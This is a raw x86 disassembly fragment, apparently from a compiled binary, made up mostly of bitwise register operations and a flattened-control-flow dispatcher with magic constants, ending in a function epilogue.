xor ah, cl
or cl, ch
or ah, al
mov al, cl
mov ch, cl
mov dh, ah
xor al, 1
xor dh, 1
and ch, al
mov bl, dh
xor cl, dh
and dh, ah
xor ch, 1
xor bl, dh
xor dh, 1
or dh, ah
xor dh, 1
or dh, bl
mov ebx, eax
xor bl, ch
or ch, al
or al, ah
xor ch, 1
xor al, 1
or ch, bl
mov bl, dh
or al, cl
xor bl, 1
xor al, 1
and bl, ch
xor ch, 1
and ch, dh
or ch, bl
mov cl, ch
and cl, al
xor al, ch
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ah, cl
and ah, al
xor al, cl
or al, ah
mov ebx, eax
mov ecx, eax
xor bl, 1
and cl, bl
mov ah, cl
xor cl, al
xor ah, 1
or ah, bl
or bl, al
xor ah, 1
xor bl, 1
or ah, cl
mov al, ah
and al, bl
xor bl, ah
or bl, al
movzx eax, byte [esp]
mov bh, bl
mov ecx, ebx
mov ah, bl
xor bh, 1
and cl, bh
xor ah, cl
xor cl, 1
mov dh, al
or cl, bh
or bh, bl
xor dh, 1
xor cl, 1
mov ch, dh
mov bl, bh
mov dl, dh
or cl, ah
xor ch, al
mov al, bh
mov ah, cl
mov byte [esp + 4], cl
mov cl, bh
and ch, dh
xor cl, 1
xor ah, 1
and bl, cl
xor dl, ah
xor al, bl
xor bl, 1
and dl, dh
or bl, cl
xor bl, 1
or bl, al
mov al, ah
xor bl, ah
and al, bh
xor bh, ah
and ah, dh
or dh, byte [esp]
mov byte [esp + 8], al
xor bl, 1
or bh, byte [esp + 8]
mov al, dh
xor al, ch
xor ch, 1
mov cl, ch
xor ch, dh
and cl, dh
or ch, cl
mov cl, al
xor cl, ch
or ch, al
mov al, bl
or bl, bh
xor al, bh
xor bl, 1
xor ch, 1
or bl, al
or ch, cl
mov al, bl
xor al, 1
mov cl, al
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov al, cl
xor cl, 1
and al, ch
xor ch, 1
and cl, ch
or cl, al
mov al, byte [esp + 4]
xor cl, 1
and al, byte [esp]
or ah, al
mov al, dl
and al, ah
xor ah, dl
or ah, al
mov al, cl
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe714e10e
cmovne edx, esi
test cl, 1
mov esi, 0xe714e10e
mov ecx, edx
cmovne ecx, esi
test al, 1
cmovne ecx, edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov dword [esp + 0x54], 0
mov ecx, 0x8d2df5b9
mov eax, dword [esp + 0xb8]
mov dword [esp + 0x58], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp byte [esp + 0xfb], 0
mov ecx, 0xf489f9b6
mov eax, 0x9e51e116
cmovne ecx, eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x128]
mov eax, dword [esp + 0x110]
mov eax, dword [esp + 0x10c]
mov eax, dword [esp + 0x104]
mov eax, dword [esp + 0x90]
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x28c]
xor ecx, esp
call fcn.004716a1
add esp, 0x290
pop esi
pop edi
pop ebx
pop ebp
ret